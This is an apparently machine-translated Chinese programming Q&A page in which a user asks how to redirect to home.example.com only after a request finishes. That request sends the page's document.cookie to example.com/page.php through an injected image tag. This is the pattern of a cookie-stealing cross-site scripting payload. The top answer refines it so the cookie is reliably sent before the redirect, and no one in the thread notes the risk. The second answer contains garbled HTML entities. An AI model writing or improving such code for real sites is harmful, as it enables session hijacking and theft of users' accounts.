document.write完成后重定向

时间:2017-01-16 01:21:09

标签: javascript

我正在尝试确保在使用用户的Cookie向page.php发出请求后,我的脚本会重定向到 home.example.com 。我知道我的代码坏了(因为我假设第一个请求总是需要不到20秒才能完成)。是否有任何方法可以确保脚本仅在对page.php的请求完成后重定向?

document.write('<img src="https://example.com/page.php?data=' + document.cookie + '" />');

window.setTimeout(function() {
location.href = "http://home.example.com"
}, 20000);

任何帮助都表示赞赏,对于这个不起眼的问题感到抱歉。

2 个答案:

答案 0 :(得分:2)

document.write('<img id="img" />');

var imgNode = document.querySelector("#img");
    
imgNode.addEventListener("load", function () {
    location.href = "http://home.example.com";
});
    
imgNode.src = "https://example.com/page.php?data=" + document.cookie;

答案 1 :(得分:0)

你应该使用标题&#34; (&#34;刷新:20; url = wherever.php&#34;); &#34;,在使用document.write之前。 您可以参考: - &#34; stackoverflow.com/questions/6119451/page-redirect-after-certain-time-php"